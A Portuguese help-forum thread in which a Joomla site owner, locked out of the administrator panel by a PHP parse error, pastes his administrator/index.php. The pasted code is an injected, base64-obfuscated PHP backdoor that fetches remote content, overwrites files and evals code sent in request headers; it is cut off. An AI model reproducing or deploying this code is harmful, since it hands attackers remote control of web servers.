Não Consigo acessar o Administrator do meu site

Desculpa se ocorrer algum erro, pois sou novo no fórum.
Mais vamos ao que interessa Tô com um problema! Quando acesso o administrator do meu site apareçe o seguinte erro:
Parse error: syntax error, unexpected $end in /home/nelsonjuni2/public_html/administrator/index.php on line 1
O que e isso?
o que devo fazer?

Meu site é: [url=http://www.nelsonjunior.com.br" onclick="window.open(this.href);return false;]http://www.nelsonjunior.com.br[/url]

Preciso de ajuda urgente!

Boa Páscoa a Todos!!

Edita o arquivo index,php
Vê o que tem na linha 1

Olá renpv Esse e o codigo Do meu index de uma olhada pra min:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3\";\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX.\"VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k\";\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD.\"dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg\";\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO.\"kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7\";\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU.\"ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ\";\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx

Esse com certeza não é um index.php do joomla

renpv escreveu: Esse com certeza não é um index.php do joomla

Esse e o Codigo que ta aparecendo no meu Index.php, esse codigo apareceu depois que eu conectei em meu site via FTP.
Vc não teria um codigo que possa substituir esse?

Me ajude cara, preciso entrar em meu administrator urgente!!

Obrigado..